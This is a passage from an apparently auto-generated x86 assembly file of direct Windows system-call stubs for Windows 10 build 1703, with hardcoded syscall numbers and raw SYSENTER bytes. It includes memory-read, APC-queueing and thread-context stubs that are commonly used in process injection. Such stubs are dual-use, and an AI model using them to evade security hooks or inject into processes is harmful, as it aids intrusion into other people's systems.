_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationDebugObject ENDP
; ULONG __stdcall NtSetHighWaitLowEventPair( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetHighWaitLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 85
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetHighWaitLowEventPair ENDP
; ULONG __stdcall NtSetHighEventPair( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 86
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetHighEventPair ENDP
; ULONG __stdcall NtSetEventBoostPriority( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetEventBoostPriority PROC STDCALL arg_01:DWORD
mov eax , 87
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetEventBoostPriority ENDP
; ULONG __stdcall NtSetEvent( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 88
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetEvent ENDP
; ULONG __stdcall NtSetEaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetEaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 89
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetEaFile ENDP
; ULONG __stdcall NtSetDriverEntryOrder( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDriverEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 90
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDriverEntryOrder ENDP
; ULONG __stdcall NtSetDefaultUILanguage( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDefaultUILanguage PROC STDCALL arg_01:DWORD
mov eax , 91
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDefaultUILanguage ENDP
; ULONG __stdcall NtSetDefaultLocale( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDefaultLocale PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 92
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDefaultLocale ENDP
; ULONG __stdcall NtSetDefaultHardErrorPort( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDefaultHardErrorPort PROC STDCALL arg_01:DWORD
mov eax , 93
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDefaultHardErrorPort ENDP
; ULONG __stdcall NtSetDebugFilterState( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDebugFilterState PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 94
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetDebugFilterState ENDP
; ULONG __stdcall NtSetContextThread( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetContextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 95
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetContextThread ENDP
; ULONG __stdcall NtSetCachedSigningLevel2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetCachedSigningLevel2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 96
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetCachedSigningLevel2 ENDP
; ULONG __stdcall NtSetCachedSigningLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetCachedSigningLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 97
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetCachedSigningLevel ENDP
; ULONG __stdcall NtSetBootOptions( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetBootOptions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 98
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetBootOptions ENDP
; ULONG __stdcall NtSetBootEntryOrder( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetBootEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 99
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetBootEntryOrder ENDP
; ULONG __stdcall NtSerializeBoot( );
_10_0_15063_sp0_windows_10_rs2_1703_NtSerializeBoot PROC STDCALL
mov eax , 100
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSerializeBoot ENDP
; ULONG __stdcall NtSecureConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSecureConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 101
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSecureConnectPort ENDP
; ULONG __stdcall NtSaveMergedKeys( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSaveMergedKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 102
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSaveMergedKeys ENDP
; ULONG __stdcall NtSaveKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSaveKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 103
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSaveKeyEx ENDP
; ULONG __stdcall NtSaveKey( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSaveKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 104
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSaveKey ENDP
; ULONG __stdcall NtRollforwardTransactionManager( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRollforwardTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 105
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRollforwardTransactionManager ENDP
; ULONG __stdcall NtRollbackTransaction( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 106
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackTransaction ENDP
; ULONG __stdcall NtRollbackEnlistment( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 107
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackEnlistment ENDP
; ULONG __stdcall NtRollbackComplete( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 108
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRollbackComplete ENDP
; ULONG __stdcall NtRevertContainerImpersonation( );
_10_0_15063_sp0_windows_10_rs2_1703_NtRevertContainerImpersonation PROC STDCALL
mov eax , 109
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRevertContainerImpersonation ENDP
; ULONG __stdcall NtResumeThread( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtResumeThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 110
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtResumeThread ENDP
; ULONG __stdcall NtResumeProcess( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtResumeProcess PROC STDCALL arg_01:DWORD
mov eax , 111
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtResumeProcess ENDP
; ULONG __stdcall NtRestoreKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRestoreKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 112
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRestoreKey ENDP
; ULONG __stdcall NtResetWriteWatch( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtResetWriteWatch PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 113
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtResetWriteWatch ENDP
; ULONG __stdcall NtResetEvent( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtResetEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 114
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtResetEvent ENDP
; ULONG __stdcall NtRequestWaitReplyPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRequestWaitReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 115
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRequestWaitReplyPort ENDP
; ULONG __stdcall NtRequestPort( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRequestPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 116
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRequestPort ENDP
; ULONG __stdcall NtReplyWaitReplyPort( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyWaitReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 117
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyWaitReplyPort ENDP
; ULONG __stdcall NtReplyWaitReceivePortEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyWaitReceivePortEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 118
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyWaitReceivePortEx ENDP
; ULONG __stdcall NtReplyWaitReceivePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyWaitReceivePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 119
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyWaitReceivePort ENDP
; ULONG __stdcall NtReplyPort( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 120
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReplyPort ENDP
; ULONG __stdcall NtReplacePartitionUnit( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReplacePartitionUnit PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 121
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReplacePartitionUnit ENDP
; ULONG __stdcall NtReplaceKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReplaceKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 122
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReplaceKey ENDP
; ULONG __stdcall NtRenameTransactionManager( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRenameTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 123
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRenameTransactionManager ENDP
; ULONG __stdcall NtRenameKey( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRenameKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 124
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRenameKey ENDP
; ULONG __stdcall NtRemoveProcessDebug( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRemoveProcessDebug PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 125
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRemoveProcessDebug ENDP
; ULONG __stdcall NtRemoveIoCompletionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRemoveIoCompletionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 126
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRemoveIoCompletionEx ENDP
; ULONG __stdcall NtRemoveIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRemoveIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 127
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRemoveIoCompletion ENDP
; ULONG __stdcall NtReleaseWorkerFactoryWorker( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseWorkerFactoryWorker PROC STDCALL arg_01:DWORD
mov eax , 128
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseWorkerFactoryWorker ENDP
; ULONG __stdcall NtReleaseSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 129
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseSemaphore ENDP
; ULONG __stdcall NtReleaseMutant( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 130
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseMutant ENDP
; ULONG __stdcall NtReleaseKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 131
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReleaseKeyedEvent ENDP
; ULONG __stdcall NtRegisterThreadTerminatePort( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRegisterThreadTerminatePort PROC STDCALL arg_01:DWORD
mov eax , 132
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRegisterThreadTerminatePort ENDP
; ULONG __stdcall NtRegisterProtocolAddressInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRegisterProtocolAddressInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 133
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRegisterProtocolAddressInformation ENDP
; ULONG __stdcall NtRecoverTransactionManager( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRecoverTransactionManager PROC STDCALL arg_01:DWORD
mov eax , 134
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRecoverTransactionManager ENDP
; ULONG __stdcall NtRecoverResourceManager( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRecoverResourceManager PROC STDCALL arg_01:DWORD
mov eax , 135
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRecoverResourceManager ENDP
; ULONG __stdcall NtRecoverEnlistment( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRecoverEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 136
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRecoverEnlistment ENDP
; ULONG __stdcall NtReadVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReadVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 137
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReadVirtualMemory ENDP
; ULONG __stdcall NtReadRequestData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReadRequestData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 138
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReadRequestData ENDP
; ULONG __stdcall NtReadOnlyEnlistment( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReadOnlyEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 139
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReadOnlyEnlistment ENDP
; ULONG __stdcall NtReadFileScatter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReadFileScatter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 140
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReadFileScatter ENDP
; ULONG __stdcall NtReadFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtReadFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 141
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtReadFile ENDP
; ULONG __stdcall NtRaiseHardError( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRaiseHardError PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 142
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRaiseHardError ENDP
; ULONG __stdcall NtRaiseException( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtRaiseException PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 143
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtRaiseException ENDP
; ULONG __stdcall NtQueueApcThreadEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueueApcThreadEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 144
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueueApcThreadEx ENDP
; ULONG __stdcall NtQueueApcThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueueApcThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 145
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueueApcThread ENDP
; ULONG __stdcall NtQueryAuxiliaryCounterFrequency( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryAuxiliaryCounterFrequency PROC STDCALL arg_01:DWORD
mov eax , 146
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryAuxiliaryCounterFrequency ENDP
; ULONG __stdcall NtQueryWnfStateData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 147
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryWnfStateData ENDP
; ULONG __stdcall NtQueryWnfStateNameInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryWnfStateNameInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 148
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryWnfStateNameInformation ENDP
; ULONG __stdcall NtQueryVolumeInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryVolumeInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 149
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryVolumeInformationFile ENDP
; ULONG __stdcall NtQueryVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
